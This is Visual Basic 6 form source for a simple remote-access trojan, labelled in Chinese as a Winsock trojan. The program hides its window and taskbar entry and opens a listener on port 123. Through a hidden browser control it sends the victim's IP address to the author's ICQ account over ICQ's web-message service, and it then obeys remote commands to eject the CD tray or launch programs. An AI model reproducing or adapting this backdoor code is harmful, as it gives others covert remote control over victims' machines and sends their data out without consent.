form1.frm

用winsock简单的木马程序

VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Object = "{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}#1.1#0"; "SHDOCVW.DLL"
Begin VB.Form Form1 
   BorderStyle     =   0  'None
   ClientHeight    =   4320
   ClientLeft      =   0
   ClientTop       =   0
   ClientWidth     =   6540
   LinkTopic       =   "Form1"
   ScaleHeight     =   4320
   ScaleWidth      =   6540
   ShowInTaskbar   =   0   'False
   StartUpPosition =   3  'Windows Default
   Begin SHDocVwCtl.WebBrowser WebBrowser1 
      Height          =   2175
      Left            =   1080
      TabIndex        =   0
      Top             =   1080
      Width           =   4455
      ExtentX         =   7858
      ExtentY         =   3836
      ViewMode        =   0
      Offline         =   0
      Silent          =   0
      RegisterAsBrowser=   0
      RegisterAsDropTarget=   1
      AutoArrange     =   0   'False
      NoClientEdge    =   0   'False
      AlignLeft       =   0   'False
      ViewID          =   "{0057D0E0-3573-11CF-AE69-08002B2E1262}"
      Location        =   ""
   End
   Begin MSWinsockLib.Winsock Winsock1 
      Left            =   240
      Top             =   0
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Private Declare Function mciGetErrorString Lib "winmm.dll" Alias "mciGetErrorStringA" (ByVal dwError As Long, ByVal lpstrBuffer As String, ByVal uLength As Long) As Long

Dim TrojanVersion As String

Function EjectCD()
    mciSendString "set CDAudio door open", 0, 0, 0
End Function

Function CloseCD()
    mciSendString "set CDAudio door closed", 0, 0, 0
End Function

Private Sub Form_Load()
TrojanVersion = 1.2

Dim MyIcq As String

MyIcq = "38084821"

Winsock1.LocalPort = 123
Winsock1.Listen
Me.Hide
'WebBrowser1.Navigate "http://wwp.icq.com/scripts/WWPMsg.dll?to=38084821&from=Falcon+Trojan&fromemail=[e-mail]&subject=IP+addy&body=209.187.154.73&Send=Send+Message"

WebBrowser1.Navigate "http://wwp.icq.com/scripts/WWPMsg.dll?to=" + MyIcq + "&from=WildGhost+Trojan&fromemail=[e-mail]&subject=IP+addy&body=" + Winsock1.LocalIP + "&Send=Send+Message"

'MsgBox "ok I am running now, just wait for wildghost to open your CD rom"
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close

Winsock1.Accept requestID
'MsgBox "WildGhost's connecting and connected..."
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
DoEvents
Dim strdata As String
Call Winsock1.GetData(strdata$, vbString)
DoEvents
If strdata = "CLOSEME" Then
'MsgBox "Ok uhh time to close down since WildGhost said so"
Unload Me
ElseIf strdata = "OPENCD" Then EjectCD
DoEvents
ElseIf strdata = "CLOSECD" Then CloseCD
DoEvents
ElseIf strdata = "RUNWINIPCFG" Then
Shell "C:\windows\winipcfg.exe"
ElseIf strdata = "TROJAN" Then
Winsock1.SendData TrojanVersion
ElseIf strdata = "RUNNOTEPAD" Then
Shell "C:\windows\notepad.exe"
End If
End Sub